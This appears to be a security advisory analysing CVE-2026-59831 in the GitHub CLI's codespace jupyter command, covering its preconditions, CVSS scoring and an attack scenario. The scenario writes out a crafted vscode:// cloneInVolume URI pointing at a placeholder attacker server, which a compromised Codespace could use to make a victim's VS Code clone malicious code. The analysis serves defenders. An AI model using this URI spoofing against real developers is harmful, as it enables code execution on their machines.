GitHub CLI CVE-2026-59831

The victim must be an authenticated GitHub user (PR:L) and must actively run gh codespace jupyter targeting an attacker-controlled or compromised Codespace - passive exploitation is not possible (UI:R). The attacker must control a process inside the target Codespace capable of serving a spoofed JupyterLab URL in place of a legitimate loopback address; this requires either owning the Codespace or compromising a process within one the victim trusts. VS Code or VS Code Insiders must be installed on the victim's local machine for the vscode:// URI to resolve to a meaningful action - without VS Code, the OS may silently drop or error on the unhandled scheme, limiting impact. Exploitation is further constrained by AC:H: the attacker must create a convincing Codespace environment that motivates the victim to use the jupyter subcommand specifically, rather than standard shell access.

The CVSS base score of 4.4 (Medium) with vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N accurately captures the constrained but real threat. High attack complexity (AC:H) reflects that the attacker must control or have compromised a Codespace environment and entice the victim to connect specifically via the jupyter subcommand. Low privilege (PR:L) confirms the victim must be an authenticated GitHub user - unauthenticated exploitation is not possible. User interaction (UI:R) means passive or drive-by exploitation is ruled out. The scope change (S:C) is the most significant risk amplifier: while direct CLI impact is limited (C:L/I:L), the VS Code URI handler can produce higher-impact outcomes through extension execution, making C:L/I:L a floor rather than a ceiling for real-world impact. No EPSS data was provided in the input, KEV status is absent, and no public exploit code has been identified - this is not currently a high-urgency patching priority for most organizations, but developers who connect to untrusted Codespaces are meaningfully exposed. The 'Information Disclosure' tag in the source data undersells the potential integrity impact; command execution through VS Code URIs is a more accurate characterization.

An attacker creates a public or shared GitHub Codespace and configures a background process to intercept or replace the JupyterLab startup URL with a crafted vscode://ms-vscode-remote.remote-containers/cloneInVolume?url=attacker-server URI. When a developer runs gh codespace jupyter to work in that Codespace, the CLI receives the spoofed URI and dispatches it to the OS without validation, causing VS Code to process the protocol handler and potentially clone a malicious repository or invoke a VS Code extension command on the developer's local machine. No public exploit code has been identified at time of analysis.